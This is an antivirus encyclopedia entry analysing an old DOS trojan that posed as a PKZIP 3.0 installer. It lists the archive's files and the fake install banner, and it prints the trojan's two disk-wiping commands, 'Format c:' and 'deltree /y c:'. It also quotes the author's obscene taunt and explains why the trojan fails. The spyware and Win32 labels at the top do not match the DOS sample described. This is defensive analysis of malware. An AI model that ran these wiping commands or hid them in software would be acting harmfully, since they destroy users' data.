Kaspersky Threats

Parent class: TrojWare

Trojans are malicious programs that perform actions which are not authorized by the user: they delete, block, modify or copy data, and they disrupt the performance of computers or computer networks. Unlike viruses and worms, the threats that fall into this category are unable to make copies of themselves or self-replicate. Trojans are classified according to the type of action they perform on an infected computer.

Class: Trojan

A malicious program designed to electronically spy on the user’s activities (intercept keyboard input, take screenshots, capture a list of active applications, etc.). The collected information is sent to the cybercriminal by various means, including email, FTP, and HTTP (by sending data in a request).

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Platform: Win32

Win32 is an API on Windows NT-based operating systems (Windows XP, Windows 7, etc.) that supports execution of 32-bit applications. One of the most widespread programming platforms in the world.

Description

Technical Details

The PKZIP300 is distributed as self-extracting archive named PKZ300B.EXE, 178981 bytes of length.

This archive contains five files, after extracting they are:

filename          len   what's that?
--------         ----   ------------
PKZINST.EXE      5328   this is real trojan program
WHATSNEW.300     2417   WhatsNew from PkZip 2.04c, 2.04c replaced with 3.0
COMPRESS.000   124005   ARJ 2.41, plus extra bytes
COMPRESS.001   116260   ARJ 2.41
FILE_ID.DIZ       101   DOC file, announces that as Pkzip 3.0b.

There is only one file that is the trojan - PKZINST.EXE. It was written in Turbo-Pascal. Being executed it displays the message:

PKZIP (R) Install Utility   Version 3.00b  4-05-950
Copr. 1989-1995 Pkware Inc. All Rights Reserved.
Pkzip Reg. U.S. Pat. and Tm. Off.
Initializing, this may take a few minutes....

and executes two commands:

COMMAND.COM /C Format c: > NULL
COMMAND.COM /C deltree /y c: > NULL

Fortunately, the author of that trojan hasn't enough of computer knowledge, and the first command just waits for DOS confirmation:

WARNING: ALL DATA ON NON-REMOVABLE DISK
DRIVE C: WILL BE LOST!
Proceed with Format (Y/N)?

This request may be terminated either with reset, or with Ctrl-C/Break. In both cases the trojan is terminated without any harm to data. In case of Ctrl-C it just inform the uses:

Thanks for waiting, moron. You shouldn't have fucked with us.

and returns to DOS.

There is one more bug in that trojan - redirection "> NULL" creates the file NULL in the current directory, to disable any messages the virus author had to write "> NUL".

I see that the virus author learns DOS page-by-page in alphabetical order, he knows how to use the commands that started with "D" and "F", but he still hasn't reached "N" (Null) instructions while reading his DOS User's Guide.

AVP detects that trojan with the name "Trojan.PKZ300b" in extracted executable file, as well as in self-extracting archive.

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